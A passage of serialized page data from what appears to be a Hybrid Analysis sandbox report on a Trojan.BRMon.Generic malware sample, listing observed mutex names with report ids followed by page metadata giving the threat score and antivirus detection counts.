B-3CE7-6B99-CED5-30CFE2D96473}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\{11A1469B-3CE7-6B99-CED5-30CFE2D96473}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"{6A898A7B-C129-2CF8-9B3E-8520FF528954}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{6A898A7B-C129-2CF8-9B3E-8520FF528954}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}]}},"report_ids":{"sandbox_job_ids":["5a720a317ca3e14a1770fa93"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.BRMon.Generic Sample a12830390ff7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a12830390ff7…. Malware family: Trojan.BRMon.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.BRMon.Generic Sample a12830390ff7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a12830390ff7…. Malware family: Trojan.BRMon.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.BRMon.Generic Sample a12830390ff7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a12830390ff7…. Malware family: Trojan.BRMon.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2d","11",{}]]